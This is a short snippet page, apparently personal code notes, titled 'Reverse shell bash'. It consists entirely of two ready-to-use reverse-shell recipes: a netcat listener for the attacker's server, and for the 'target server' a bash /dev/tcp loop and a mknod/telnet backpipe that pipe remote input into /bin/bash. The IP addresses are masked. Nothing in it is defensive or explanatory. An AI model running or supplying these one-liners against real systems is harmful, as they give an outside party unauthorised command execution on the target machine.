/bash/

Reverse shell bash

2017-08-30 00:34:06

our server

nc -l -p 8085 -vvv

target server

exec 5<>/dev/tcp/???.???.??.???/8085
cat <&5 | while read line; do $line 2>&5 >&5; done

our server

nc -n -vv -l -p 8085

target server

mknod backpipe p && telnet ???.???.??.??? 8085 <backpipe | /bin/bash 1>backpipe